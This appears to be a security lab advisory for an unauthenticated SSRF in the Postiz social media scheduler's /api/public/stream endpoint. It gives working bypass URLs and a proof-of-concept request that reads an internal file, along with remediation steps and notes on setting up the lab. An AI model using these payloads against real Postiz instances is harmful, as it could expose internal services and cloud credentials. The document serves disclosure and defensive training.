VT-2026-34577

Postiz - Unauthenticated SSRF in Public Stream Endpoint

HIGH 8.6CVEssrfunauthenticatedpostiznodejs

Run this lab

$vt start --id vt-2026-34577

Lab not starting or behaving wrong? Report a problem with this lab

Summary

Postiz, an open-source social media scheduling tool, exposes an unauthenticated GET /public/stream endpoint (served as /api/public/stream behind the bundled nginx) that fetches the URL given in the url query parameter and streams the full response back to the caller. The only check is url.endsWith('mp4'), which is bypassed by ending the URL with a query value or fragment such as ?x=.mp4 or #.mp4. Versions prior to 2.21.3 let an unauthenticated attacker read responses from internal services and cloud metadata endpoints.

Technical detail

PublicController.streamFile() in apps/backend/src/api/routes/public.controller.ts (v2.21.2) reads the url query parameter, rejects it with 400 "Invalid video URL" only when it does not end with "mp4", and then calls fetch(url). Non-error responses are piped back with the upstream content type. The controller carries no auth guard, and there is no check on the scheme, host or resolved address. The suffix check runs on the raw string, so any URL whose query string or fragment ends in mp4 passes: /api/public/stream?url=http://internal-canary/secret.txt?x=.mp4 /api/public/stream?url=http://internal-canary/secret.txt%23.mp4 The fix in 2.21.3 binds the query to the OnlyURL DTO, whose IsSafeWebhookUrl validator only accepts public HTTPS URLs and rejects internal network addresses.

Impact

An unauthenticated attacker who can reach the Postiz web port can make the server send GET requests to any host it can reach and read the full responses. This exposes internal HTTP services and admin panels, and on cloud hosts the instance metadata service, which can leak IAM credentials.

Exploitation & proof of concept

Unauthenticated SSRF via url parameter of /api/public/stream

The url parameter is passed to fetch() after only checking that it ends with "mp4". Appending ?x=.mp4 (or a #.mp4 fragment, which fetch() drops) satisfies the check while the server requests an arbitrary internal address. The upstream body and content type are streamed back to the caller. In the lab this reads a file from a container that is only reachable on the internal Docker network.

GET/api/public/streamparam=url

REQUEST
GET /api/public/stream?url=http://internal-canary/secret.txt?x=.mp4 HTTP/1.1
Host: {{Hostname}}
RESPONSE
HTTP/1.1 200 OK
Content-Type: text/plain

VT{postiz-ssrf-internal-only}

Nuclei detection: vt-2026-34577.nuclei.yaml

Remediation

  • Upgrade Postiz to 2.21.3 or later
  • Block egress from the Postiz container to internal ranges and the cloud metadata address (169.254.169.254)
  • Do not expose Postiz to untrusted networks until it is patched

Lab setup notes

  • Access Postiz at http://localhost:4007 (the backend is ready in about 1-2 minutes)
  • The lab runs Postiz v2.21.2 with PostgreSQL, Redis, Temporal and Elasticsearch; allow about 3 GB of memory
  • Readiness check: GET /api/public/stream?url=x returns 400 Invalid video URL
  • The Nuclei template confirms the SSRF out of band (interactsh), so the lab needs outbound internet access
  • To reproduce the internal read, attach a canary: docker run -d --rm --name vt34577-canary --network vt-2026-34577_default --network-alias internal-canary nginx:alpine sh -c 'echo VT{postiz-ssrf-internal-only} > /usr/share/nginx/html/secret.txt && nginx -g "daemon off;"'

References